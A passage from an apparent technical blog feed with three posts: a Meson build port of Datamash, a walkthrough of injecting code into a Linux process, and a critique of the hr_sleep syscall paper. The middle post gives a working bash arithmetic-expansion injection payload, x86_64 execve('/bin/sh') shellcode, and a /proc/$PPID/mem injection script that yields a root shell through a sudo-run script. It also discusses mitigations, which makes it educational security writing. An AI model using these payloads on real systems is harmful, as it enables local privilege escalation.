class=\"w\"> <\/span>log<span class=\"w\"> <\/span>written<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>\/home\/juser\/del\/datamash\/build\/meson-logs\/testlog.txt\n<\/code><\/pre><\/div>\n\n<p><br\/><\/p>\n<h2 id=\"side-effects\">Side Effects<a class=\"headerlink\" href=\"#side-effects\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>As a side effect of introducing <a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)\">Meson<\/a>, a few other things are now possible or much easier than with <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a>.<\/p>\n<p>In particular, the first-class support of out-of-tree builds simplifies having multiple build trees around\nfor different target configurations, e.g. one with release optimization enabled, one with special debugging flags etc.<\/p>\n<p>Also, Meson supports out-of-the-box complicated build modes such as <a href=\"https:\/\/en.wikipedia.org\/wiki\/Interprocedural_optimization\">LTO<\/a> and instrumentalization via\nsimple setup flags.<\/p>\n<p>Nowadays Autotools supports out-of-tree builds, as well, but usually this isn't documented well and for each project that uses Autotools  there is a risk that it doesn't support this mode fully. Similarly, passing LTO and instrumentalization flags is also possible with Autotools, but arguably this is more tedious and error-prone.<\/p>\n<h2 id=\"see-also\">See also<a class=\"headerlink\" href=\"#see-also\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>My <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commits\/branch\/main\">Meson branch<\/a> (named <code>main<\/code>) contains all the changes\nthat are discussed in this article. My changes are the first commits in 2026 and that series contains 9 consecutive commits or so.<\/p>\n<p>Direct links:<\/p>\n<ul>\n<li><a href=\"https:\/\/opencommit.eu\/gms\/datamash\/src\/branch\/main\/meson.build\">main meson.build<\/a> file<\/li>\n<li><a href=\"https:\/\/opencommit.eu\/gms\/datamash\/src\/branch\/main\/meson.options\">meson.options<\/a> - custom options that can be set when initializing the meson build directory<\/li>\n<\/ul>\n<h2 id=\"conclusion\">Conclusion<a class=\"headerlink\" href=\"#conclusion\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Porting <a href=\"https:\/\/www.gnu.org\/software\/datamash\/\">Datamash<\/a> from <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a> to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Meson_(software)\">Meson<\/a> required relatively little effort\nthat quickly pays off, since build setup is sped up over ten times, build time is sped up two times\nand the executable sizes are halved,\nwhile the Meson build configuration is simpler and more compact and thus easier to review and maintain.<\/p>\n<p>It shows that Meson already was adopted by many open source projects,\nbecause Meson support for configuration macros and tests is good.\nLast but not least, it helps that Meson is better documented than Autotools.<\/p>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"meson"}},{"@attributes":{"term":"build"}},{"@attributes":{"term":"linux"}}]},{"title":"Injecting Code into a Linux Process","link":{"@attributes":{"href":"https:\/\/gms.tf\/inject_code.html","rel":"alternate"}},"published":"2024-12-06T10:00:00+01:00","updated":"2024-12-06T10:00:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2024-12-06:\/inject_code.html","summary":"<p>Say - entirely hypothetically - we know a shell script that is\nexecuted with root privileges via <a href=\"https:\/\/en.wikipedia.org\/wiki\/Sudo\">sudo<\/a> and we found a way\nfor normal users to convince it to call their own code.<\/p>\n<p>For demonstration purposes it then would be nice to have code\nthat invokes a local root shell, ready \u2026<\/p>","content":"<p>Say - entirely hypothetically - we know a shell script that is\nexecuted with root privileges via <a href=\"https:\/\/en.wikipedia.org\/wiki\/Sudo\">sudo<\/a> and we found a way\nfor normal users to convince it to call their own code.<\/p>\n<p>For demonstration purposes it then would be nice to have code\nthat invokes a local root shell, ready for interactive usage in\nthe current terminal.<\/p>\n<p>This article walks through from exploiting an easy to overlook flaw in\na shell script to injecting shell-code into the running shell\ninterpreter.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#the-shell-backdoor\">The Shell Backdoor<\/a><\/li>\n<li><a href=\"#a-local-interactive-shell\">A local interactive shell<\/a><\/li>\n<li><a href=\"#injecting-code-into-a-linux-process\">Injecting code into a Linux Process<\/a><\/li>\n<li><a href=\"#shellcode\">Shellcode<\/a><\/li>\n<li><a href=\"#the-process-injection\">The process injection<\/a><\/li>\n<li><a href=\"#mitigations\">Mitigations<\/a><\/li>\n<li><a href=\"#related-work\">Related Work<\/a><\/li>\n<li><a href=\"#code\">Code<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"the-shell-backdoor\">The Shell Backdoor<a class=\"headerlink\" href=\"#the-shell-backdoor\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>One would hope that a shell script that runs as root only does\nminimal work, carefully verifies user controlled input, always\nquotes all variables sufficiently and avoids well-known\nproblematic constructs such as invoking <code>eval<\/code>.<\/p>\n<p>This hope might or might not be legitimate.<\/p>\n<p>However, there is one shell feature that isn't that well known\nand may be overlooked by some as an attack vector: <\/p>\n<p>Command substitution as part of arithmetic expansion during\narithmetic evaluation.<\/p>\n<p>Consider this unsuspicious small example (say stored in <code>blah.sh<\/code>):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"ch\">#!\/bin\/bash<\/span>\n\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$1<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>-lt<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$2<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span>hello\n<span class=\"k\">else<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span>world\n<span class=\"k\">fi<\/span>\n<\/code><\/pre><\/div>\n\n<p>Arguments are fully quoted so what could possibly go wrong,\nright?<\/p>\n<p>Right?<\/p>\n<p>Well, we can try to invoke it like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>.\/blah.sh &#39;a[$(touch xyz)]&#39; 23\n<\/code><\/pre><\/div>\n\n<p>Sure enough, the current working directory now contains a file\nnamed <code>xyz<\/code>.<\/p>\n<p>NB: There are other constructs besides <code>[[<\/code> where arithmetic\nevaluation is applied, e.g. also in <code>((<\/code>.<\/p>\n<h2 id=\"a-local-interactive-shell\">A local interactive shell<a class=\"headerlink\" href=\"#a-local-interactive-shell\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Sure, strictly speaking, for demonstration purposes this is\nsufficient.\nIt demonstrates clearly the flaw, and if this is inside some\nscript an unprivileged user is allowed to invoke via a narrow\nsudo config, it's a local <a href=\"https:\/\/en.wikipedia.org\/wiki\/Privilege_escalation\">privilege escalation<\/a> vulnerability.<\/p>\n<p>But such a demo also is a little bit boring.<\/p>\n<p>In order to make it more interesting, one may start a <a href=\"https:\/\/en.wiktionary.org\/wiki\/reverse_shell\">reverse\nshell<\/a>, i.e. a shell that network connects back to the demo\noperator for interactive usage.<\/p>\n<p>But arguably the best thing for such a demo is to simply invoke\nan interactive shell inside the current terminal.<\/p>\n<h2 id=\"injecting-code-into-a-linux-process\">Injecting code into a Linux Process<a class=\"headerlink\" href=\"#injecting-code-into-a-linux-process\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The challenge with our vector is that our user-controlled code is\nexecuted by the shell inside a sub-process while for a local\ninteractive shell we need to inject code into the parent process.<\/p>\n<p>We can use the following two Linux features for this injection:<\/p>\n<ol>\n<li><a href=\"https:\/\/man7.org\/linux\/man-pages\/man5\/proc_pid_syscall.5.html\"><code>\/proc\/$pid\/syscall<\/code><\/a> to determine the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Program_counter\">program counter<\/a> of the\n   parent<\/li>\n<li><a href=\"https:\/\/man7.org\/linux\/man-pages\/man5\/proc_pid_mem.5.html\"><code>\/proc\/$pid\/mem<\/code><\/a> for injecting code into the parent process<\/li>\n<\/ol>\n<p>Since both processes are running under the same user - or even\nroot, access to those files isn't restricted.<\/p>\n<p>So the basic idea is, to let the sub-process inject something\nlike the following into the parent process (at the current\nprogram counter):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>    char *cmd = &quot;\/bin\/sh&quot;;\n    char *argv[2] = { cmd+5, 0 };\n    execve(cmd, argv, 0);\n<\/code><\/pre><\/div>\n\n<p>IOW, we want to inject some <a href=\"https:\/\/en.wikipedia.org\/wiki\/Shellcode\">shellcode<\/a>.<\/p>\n<p>NB: Conveniently, the Linux Kernel works around any read-only\npermissions of code mappings.<\/p>\n<h2 id=\"shellcode\">Shellcode<a class=\"headerlink\" href=\"#shellcode\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Depending on how the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Shellcode\">shellcode<\/a> is injected, its requirements\nvary:<\/p>\n<ol>\n<li>when injecting via a C-string the code must not contain any\n   zero bytes<\/li>\n<li>it must not be too long<\/li>\n<li>some kind of obfuscation may be useful<\/li>\n<\/ol>\n<p>For our running example those first two requirements\nclearly don't apply.\nHowever, not wasting too many bytes is always a good idea.<\/p>\n<p>The first sub-challenge is to get the <code>\"\/bin\/sh\"<\/code> string into\nmemory, since we are injecting code and can't simply put it into\nthe data segment.<\/p>\n<p>A solution is to include the string as an intermediate integer,\npush it to the stack and reference that stack location.<\/p>\n<p>In x86_64 assembler (Intel syntax):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>mov    rcx, 0x68732f6e69622f # &quot;\/bin\/sh\\0&quot; reversed\npush   rcx\n<\/code><\/pre><\/div>\n\n<p>This works, but the shell then contains a zero byte and the\nstring shows up in <code>strings<\/code>.<\/p>\n<p>Alternatively, without any zero bytes and a little obfuscated:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\"># 150409396 * 195466812 - 1 = 0x68732f6e69622f<\/span>\n<span class=\"nf\">mov<\/span><span class=\"w\">    <\/span><span class=\"no\">eax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">195466812<\/span>\n<span class=\"nf\">imul<\/span><span class=\"w\">   <\/span><span class=\"no\">rax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">rax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">150409396<\/span>\n<span class=\"nf\">dec<\/span><span class=\"w\">    <\/span><span class=\"no\">rax<\/span>\n<span class=\"nf\">push<\/span><span class=\"w\">   <\/span><span class=\"no\">rax<\/span>\n<\/code><\/pre><\/div>\n\n<p>Other sub-challenges may involve using slightly non-obvious\ninstruction sequences to save a few bytes.<\/p>\n<p>Such as when setting the syscall number argument instead of a\nsimple<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">mov<\/span><span class=\"w\">    <\/span><span class=\"no\">eax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x3b<\/span><span class=\"w\">      <\/span><span class=\"c1\"># execve syscall nr,<\/span>\n<\/code><\/pre><\/div>\n\n<p>using the equivalent:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nf\">xor<\/span><span class=\"w\">    <\/span><span class=\"no\">eax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"no\">eax<\/span><span class=\"w\">       <\/span><span class=\"c1\">#     the same, byt shorter and no zero byte ...<\/span>\n<span class=\"nf\">mov<\/span><span class=\"w\">     <\/span><span class=\"no\">al<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0x3b<\/span><span class=\"w\">      <\/span><span class=\"c1\"># execve syscall nr<\/span>\n<\/code><\/pre><\/div>\n\n<p>The complete shellcode I came up with is 32 byte large and\nreads:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"x\">   0:   31 d2                   xor    edx,edx<\/span>\n<span class=\"x\">   2:   b8 3c 96 a6 0b          mov    eax,0xba6963c<\/span>\n<span class=\"x\">   7:   48 69 c0 b4 10 f7 08    imul   rax,rax,0x8f710b4<\/span>\n<span class=\"x\">   e:   48 ff c8                dec    rax<\/span>\n<span class=\"x\">  11:   50                      push   rax<\/span>\n<span class=\"x\">  12:   48 89 e7                mov    rdi,rsp<\/span>\n<span class=\"x\">  15:   52                      push   rdx<\/span>\n<span class=\"x\">  16:   57                      push   rdi<\/span>\n<span class=\"x\">  17:   31 c0                   xor    eax,eax<\/span>\n<span class=\"x\">  19:   b0 3b                   mov    al,0x3b<\/span>\n<span class=\"x\">  1b:   48 89 e6                mov    rsi,rsp<\/span>\n<span class=\"x\">  1e:   0f 05                   syscall<\/span>\n<\/code><\/pre><\/div>\n\n<p>See also the <a href=\"https:\/\/github.com\/gsauthof\/shell-tricks\">my Git repository<\/a> for the complete commented\nassembly source.<\/p>\n<h2 id=\"the-process-injection\">The process injection<a class=\"headerlink\" href=\"#the-process-injection\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The first reflex to write a few bytes to <code>\/proc\/$pid\/mem<\/code> may\nbe to use <a href=\"https:\/\/en.wikipedia.org\/wiki\/Dd_(Unix)\"><code>dd<\/code><\/a>.<\/p>\n<p>However, <code>dd<\/code> is cumbersome to use, is not everywhere available\nand might even trigger some suspicion in process monitoring.<\/p>\n<p>As an alternative, one can open and seek it in a shell script by\nother means.<\/p>\n<p>A complete injection shell script example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nv\">pc<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span>cut<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span><span class=\"s1\">&#39; &#39;<\/span><span class=\"w\"> <\/span>-f9<span class=\"w\"> <\/span>\/proc\/<span class=\"nv\">$PPID<\/span>\/syscall<span class=\"k\">)<\/span>\n<span class=\"nb\">exec<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span>fd<span class=\"o\">}<\/span>&lt;&gt;\/proc\/<span class=\"nv\">$PPID<\/span>\/mem\n&lt;<span class=\"p\">&amp;<\/span><span class=\"nv\">$fd<\/span><span class=\"w\"> <\/span>cmp<span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span><span class=\"nv\">$pc<\/span>\n<span class=\"nb\">printf<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\\x31\\xd2...\\x48\\x89\\xe6\\x0f\\x05&#39;<\/span><span class=\"w\"> <\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"nv\">$fd<\/span>\n<span class=\"nb\">echo<\/span><span class=\"w\"> <\/span>Have<span class=\"w\"> <\/span>fun<span class=\"w\"> <\/span>...&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">2<\/span>\n<\/code><\/pre><\/div>\n\n<p>Process injection into our running example is then as simple as:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>.\/blah.sh<span class=\"w\"> <\/span><span class=\"s1\">&#39;a[$(.\/inj.sh)]&#39;<\/span><span class=\"w\">  <\/span><span class=\"m\">2<\/span>\nHave<span class=\"w\"> <\/span>fun<span class=\"w\"> <\/span>...\nsh-5.2$\n<\/code><\/pre><\/div>\n\n<p>Again, see also <a href=\"https:\/\/github.com\/gsauthof\/shell-tricks\">my Git repository<\/a> for the complete script.<\/p>\n<h2 id=\"mitigations\">Mitigations<a class=\"headerlink\" href=\"#mitigations\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since relatively much userspace is using those interfaces,\nthe Linux Kernel is hesitant to remove them or restrict\ntheir usage. However, in recent kernel development there were <a href=\"https:\/\/lore.kernel.org\/lkml\/CAD=FV=Vh7Ctaj6N_k9gdkrqpb687zJqQN19qTZXMyDw6TujvLQ@mail.gmail.com\/T\/\">some<\/a>\n<a href=\"https:\/\/lore.kernel.org\/lkml\/CAHk-=wiGWLChxYmUA5HrT5aopZrB7_2VTa0NLZcxORgkUe5tEQ@mail.gmail.com\/\">efforts<\/a> to provide a way for distributions to somewhat restrict\n<code>\/proc\/$pid\/mem<\/code> usage.<\/p>\n<p>It remains to be seen whether the Linux kernel merges something\nlike that.<\/p>\n<p>Of course, a Linux Security Module (LSM) such as SELinux might\nhelp to make the described techniques harder to exploit in some\ncontexts.<\/p>\n<p>Last but not least, it always makes sense to review the usage of\nshell scripting. Shell scripting often is the wrong tool for the\njob, especially in security sensitive contexts.\nAnd especially when a shell scripts grows large it's usually\na sign that one should have switched over to a more appropriate\nimplementation language, some time ago.<\/p>\n<h2 id=\"related-work\">Related Work<a class=\"headerlink\" href=\"#related-work\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The ideas and techniques described in this article aren't novel.<\/p>\n<p>If one web-searches a bit around one can easily find decade(s) old\nreferences. Also people rediscover these bits and pieces from\ntime to time.<\/p>\n<p>Coming up with clever shellcode for various architectures is a\nsport on its own and people like to share their results.\nThus, this article arguably also illustrates that getting started from\nfirst principles doesn't take too much effort, is very\ninstructive and can be fun.<\/p>\n<p>Selected list of related work:<\/p>\n<ul>\n<li><a href=\"https:\/\/lwn.net\/Articles\/476947\/\">A \/proc\/PID\/mem vulnerability<\/a>. LWN, Jack Edge, 2012 - reports on pitfalls properly implementing that access in the kernel<\/li>\n<li><a href=\"https:\/\/lists.gnu.org\/archive\/html\/bug-bash\/2014-06\/msg00007.html\">Re: Arithmetic + array allows for code injection<\/a>. Bash bug mailing list,  Maarten Billemont, 2014 - summarises that thread a bit<\/li>\n<li><a href=\"https:\/\/unix.stackexchange.com\/a\/172109\/1131\">Answer to Security Implications of using unsanitized data in\n  Shell Arithmetic\n  evaluation<\/a>. Unix\n  Stackexchange, St\u00e9phane Chazelas, 2014 - also illustrates how to\n  overwrite the PATH variable via arithmetic evaluation, i.e.\n  when the CWD of the script is writable by an attacker<\/li>\n<li><a href=\"https:\/\/unix.stackexchange.com\/a\/171347\/1131\">Answer to Security implications of forgetting to quote a\n  variable in bash\/POSIX\n  shells<\/a>. Unix\n  Stackexchange, St\u00e9phane Chazelas, 2014 - covers more ground but\n  also touches on arithmetic evaluation<\/li>\n<li><a href=\"https:\/\/www.vidarholen.net\/contents\/blog\/?p=716\">Bash\u2019s white collar eval: [[ $var -eq 42 ]] runs arbitrary code too<\/a>. Vidar, 2018 - Blog post on this topic<\/li>\n<li><a href=\"https:\/\/joev.dev\/posts\/unprivileged-process-injection-techniques-in-linux\">Unprivileged Process Injection Techniques in Linux<\/a>. joev,\n  2024 - Blog post that includes some historic references and\n  shows limited usage of the metasploit framework<\/li>\n<li><a href=\"https:\/\/fosstodon.org\/@kees\/113520954432255291\">Mastadon comment<\/a>. Kees Cook, 2024 - this thread includes some misconceptions of knowledgable people which demonstrates the complexity of writing robust shell scripts in the presence of such obscure features<\/li>\n<\/ul>\n<h2 id=\"code\">Code<a class=\"headerlink\" href=\"#code\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>See also <a href=\"https:\/\/github.com\/gsauthof\/shell-tricks\">my Git repository<\/a> for all the source code used in this\narticle.<\/p>","category":[{"@attributes":{"term":"security"}},{"@attributes":{"term":"shell"}},{"@attributes":{"term":"linux"}}]},{"title":"The curious case of nanosleep vs. hr_sleep","link":{"@attributes":{"href":"https:\/\/gms.tf\/hr_sleep.html","rel":"alternate"}},"published":"2024-07-09T19:00:00+02:00","updated":"2024-07-09T19:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2024-07-09:\/hr_sleep.html","summary":"<p>This weekend, I finally got around reading a bookmarked paper that proposes an improved nanosleep:<\/p>\n<p><a href=\"https:\/\/www.researchgate.net\/publication\/350371596_Metronome_adaptive_and_precise_intermittent_packet_retrieval_in_DPDK\">Faltelli, Marco &amp; Belocchi, Giacomo &amp; Quaglia, Francesco &amp; Pontarelli, Salvatore &amp; Bianchi, Giuseppe. (2021). Metronome: adaptive and precise intermittent packet retrieval in DPDK.<\/a><\/p>\n<p>In the following I document a few notes.<\/p>\n<h2 id=\"the-papers\">The Papers<a class=\"headerlink\" href=\"#the-papers\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>At page 4 I'm asking \u2026<\/p>","content":"<p>This weekend, I finally got around reading a bookmarked paper that proposes an improved nanosleep:<\/p>\n<p><a href=\"https:\/\/www.researchgate.net\/publication\/350371596_Metronome_adaptive_and_precise_intermittent_packet_retrieval_in_DPDK\">Faltelli, Marco &amp; Belocchi, Giacomo &amp; Quaglia, Francesco &amp; Pontarelli, Salvatore &amp; Bianchi, Giuseppe. (2021). Metronome: adaptive and precise intermittent packet retrieval in DPDK.<\/a><\/p>\n<p>In the following I document a few notes.<\/p>\n<h2 id=\"the-papers\">The Papers<a class=\"headerlink\" href=\"#the-papers\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>At page 4 I'm asking myself whether the authors ever posted their code to the LKML.\nThey did and the paper receives devastating criticism from <a href=\"https:\/\/de.wikipedia.org\/wiki\/Thomas_Gleixner\">Thomas\nGleixner<\/a>, the Linux kernel\nmaintainer of the affected subsystem and a well-known expert in realtime computing in general and high resolution timers in particular:<\/p>\n<p><a href=\"https:\/\/lore.kernel.org\/lkml\/87eefl4s7f.ffs@nanos.tec.linutronix.de\/\">Thomas Gleixner. Re: [PATCH] kernel\/time: Feedback reply for hr_sleep syscall, a fine-grained sleep service (2021-04-08)<\/a>\n(<a href=\"https:\/\/lkml.org\/lkml\/2021\/4\/7\/1614\">mirror<\/a>)<\/p>\n<p>Turns out I was reading the <a href=\"https:\/\/arxiv.org\/abs\/2103.13263v1\">first version<\/a> of a <a href=\"https:\/\/arxiv.org\/abs\/2103.13263\">preprint<\/a>\nand meanwhile <a href=\"https:\/\/arxiv.org\/pdf\/2103.13263\">version 3<\/a> was released after that LKML post.\nThat version apparently corrects a few of the serious flaws pointed out by Thomas Gleixner, but:<\/p>\n<ul>\n<li>the paper's authors don't reply on the LKML to the posted criticism<\/li>\n<li>they don't acknowledge Thomas Gleixner for his review in the acknowledgements\n  section in the new version of their paper, although they certainly profited\n  from his explanations and independent tests<\/li>\n<li>from the revised preprint (3rd version) the authors reference\n  their old and identically named <a href=\"https:\/\/dl.acm.org\/doi\/10.1145\/3386367.3432730\">conference paper<\/a> for more\n  details, although it also contains the criticized flaws that were\n  removed from the 3rd preprint revision<\/li>\n<li>the ACM conference paper page doesn't mention any corrections<\/li>\n<li>the paper's accompanying <a href=\"https:\/\/github.com\/marcofaltelli\/Metronome\">github repository<\/a> doesn't reference any of the criticism<\/li>\n<\/ul>\n<p>Also, in the 3rd preprint revision, as of 2024-07-09 the latest version, Section 3 A now has some new issues:<\/p>\n<ul>\n<li>'This factor can be controlled using the prctl() system call, putting it to the minimal value of 1.'<br\/>\n  Thus, the reader is left wondering what unit the minimal value might have ... (yes, it's nanoseconds).<\/li>\n<li>'These data have been collected by running the thread issuing\n  the sleep request as a classical SCHED_OTHER (normal) priority\n  thread and\u2014as hinted before\u2014with the timer slack of nanosleep()\n  set to 1\u00b5s.'<br\/>\n  Either they mixed up the units and they actually used the minimal value of 1 ns or they used an unnecessarily high\n  <a href=\"https:\/\/manpath.be\/f38\/2\/prctl#L1108\">timer slack<\/a> value to make their proposed improvement look a bit better.<\/li>\n<\/ul>\n<h2 id=\"the-good\">The Good<a class=\"headerlink\" href=\"#the-good\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Scrutinizing the API of syscalls that are parametrized with\ntimespec struct is certainly a valuable contribution.<\/p>\n<p>Passing a user pointer into a syscall that needs to be\ndereferenced in the kernel (over the user space and kernel\naddress space boundary) has <em>some<\/em>\n<a href=\"https:\/\/elixir.bootlin.com\/linux\/v6.9.8\/source\/kernel\/time\/time.c#L871\">overhead<\/a>.<\/p>\n<p>Also, such an indirection makes tracing it and debugging\nsomewhat harder.<\/p>\n<p>Looking at the <a href=\"https:\/\/manpath.be\/f39\/2\/nanosleep#L14\">Linux sycall calling\nconventions<\/a>, it's clear\nthat there are more than enough call argument registers available\nto pass all of struct timespec's fields directly via registers.\nAlso, in the case of nanosleep, which optionally returns the\nremaining waiting time via a second argument pointer, at least some\narchitectures such as x86-64 would allow to return these values\nvia registers, as well. (on x86-64, syscall return values are put into\nregister rax and optionally register rdx which are both 64 bit\nwide).<\/p>\n<p>Hence, it isn't even necessary to limit the sleep time\nspecification to a single nanoseconds argument like <code>hr_sleep()<\/code> does.\nFWIW, on 64 architectures, the Linux kernel has <a href=\"https:\/\/elixir.bootlin.com\/linux\/v6.9.8\/source\/include\/linux\/ktime.h#L36\">no problem to\nconvert<\/a>\nup to <code>2^63-1<\/code> nanoseconds into its internal <code>ktime_t<\/code> and for all\npractical purposes a maximum sleep time of up to 292 years or so\nseems to be sufficient.\nAlso FWIW, when using POSIX API such as <code>nanosleep()<\/code> the valid\nrange of <code>timespec::tv_nsec<\/code> is 'just' <code>[0, 999999999]<\/code>.<\/p>\n<p>However, measuring the likely tiny overhead of copying a timespec\nstruct from user to kernel space requires careful and rigorous\nwork.<\/p>\n<p>Of course, it's highly questionable whether eliminating the\nexpected timespec user to kernel copy overhead really would\njustify adding another syscall.<\/p>\n<h2 id=\"addendum\">Addendum<a class=\"headerlink\" href=\"#addendum\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Apparently, the <code>hr_sleep()<\/code> authors <a href=\"https:\/\/lore.kernel.org\/lkml\/20210115180733.5663-1-marco.faltelli@uniroma2.it\/\">initially\ncontacted<\/a> the\nkernel community only after their <a href=\"https:\/\/dl.acm.org\/doi\/10.1145\/3386367.3432730\">conference paper<\/a> was published.\n(i.e. first LKML post on 2021-01-15, conference paper was\npublished 2020-11-24 and presented at the conference in the first\nweek of December, 2020)\nAt that time it received some\n<a href=\"https:\/\/lore.kernel.org\/lkml\/CALCETrWfnL=3M3nmmHs-a3si5JptSCtF6cEtHVtsDNwA5mHnRg@mail.gmail.com\/\">feedback<\/a> from another kernel\ndeveloper, Andy Lutomirski. Like with the second posting, the\nhr_sleep authors didn't bother to reply directly to any of the\nissues mentioned in the review.<\/p>\n<p>It seems that the paper was submitted to a proper conference and\nhence it was peer reviewed, but perhaps the academic reviewers\nweren't sufficiently familiar with the relevant parts of the\nLinux kernel and thus missed the issues that were discussed on\nthe LKML.<\/p>\n<hr>\n<p>On 2024-07-07, I <a href=\"https:\/\/github.com\/marcofaltelli\/Metronome\/issues\/5\">opened an issue<\/a> (<a href=\"https:\/\/web.archive.org\/web\/20240707222020\/https:\/\/github.com\/marcofaltelli\/Metronome\/issues\/5\">archive<\/a>) on the hr_sleep's github\n<a href=\"https:\/\/github.com\/marcofaltelli\/Metronome\">repository<\/a>, asking for clarification.<\/p>\n<p>It was deleted quickly without any comment:<\/p>\n<blockquote>\n<p>This issue has been deleted.<\/p>\n<\/blockquote>\n<p>For the sake of completeness I'm reproducing my github post below:<\/p>\n<blockquote>\n<p>Clarifications nanosleep vs. hr_sleep measurements #5<\/p>\n<p>Reading through Section 3 A of your <a href=\"https:\/\/arxiv.org\/abs\/2103.13263\">preprint (3rd revision)<\/a> I noticed a few issues:<\/p>\n<ol>\n<li>'This factor can be controlled using the prctl() system call, putting it to the minimal value of 1.'\n    Perhaps you want to add the unit of that minimal value.<\/li>\n<li>'These data have been collected by running the thread issuing the sleep request as a classical SCHED_OTHER (normal) priority thread and\u2014as hinted before\u2014with the timer slack of nanosleep() set to 1\u00b5s.'\n    Please clarify, did you really set the timer slack to 1 \u00b5s? Or did you set it to its minimal value, i.e. 1 <em>ns<\/em>?<\/li>\n<li>'We remand the reader to [14] for an extended evaluation of this implementation.In [..]'\n    Firstly, there is a space missing after the full stop.\n    Secondly,  why do you continue to refer to an evaluation whose <a href=\"https:\/\/lkml.org\/lkml\/2021\/4\/7\/1614\">flaws were pointed out to you by the maintainer of the relevant Linux subsystems<\/a> while apparently you tried to address some of them in that 3rd version of your preprint?<\/li>\n<li>'Figure 1'\n    You don't mention any details regarding the system you measured those latencies on.\n    Thus, the results are hard to reproduce.\n    The text states 'The tests have been conducted on an isolated NUMA node equipped with Intel Xeon Silver 2.1 GHz cores. The server is running Linux kernel 5.4.'\n    But why don't you mention the exact CPU model and exact kernel version?\n    Also relevant but completely missing: whether relevant kernel parameters where supplied, such as turning some\/all kernel CPU bug mitigations off,  whether Hyperthreading was enabled, whether frequency scaling, energy saving modes, turbo boost, etc. etc. where enabled ...<\/li>\n<\/ol>\n<p>BTW, google searches still return the <a href=\"https:\/\/www.researchgate.net\/publication\/350371596_Metronome_adaptive_and_precise_intermittent_packet_retrieval_in_DPDK\">ResearchGate page<\/a> for the first preprint version at relatively high rank for me - perhaps you want to remove it from ResearchGate to avoid further confusion.<\/p>\n<p>Also, the <a href=\"https:\/\/dl.acm.org\/doi\/10.1145\/3386367.3432730\">ACM page<\/a> of the conference paper version doesn't contain any hints regarding regarding published corrections.<\/p>\n<p>Similarly, in the README of this repository you still link to your conference paper without mentioning that the analysis of hr_sleep vs. nanosleep therein is deeply flawed.<\/p>\n<p>Finally, since you profited from the LKML review of your paper and apparently that review prompted a significant rework of Section 3 A in the 3rd revision of your preprint, why didn't you acknowledge that Linux kernel maintainer in the Acknowledgement Section in your 3rd revision?<\/p>\n<\/blockquote>","category":[{"@attributes":{"term":"linux"}},{"@attributes":{"term":"kernel"}},{"@attributes":{"term":"time"}},{"@attributes":{"term":"dpdk"}}]},{"title":"Blocking Audio 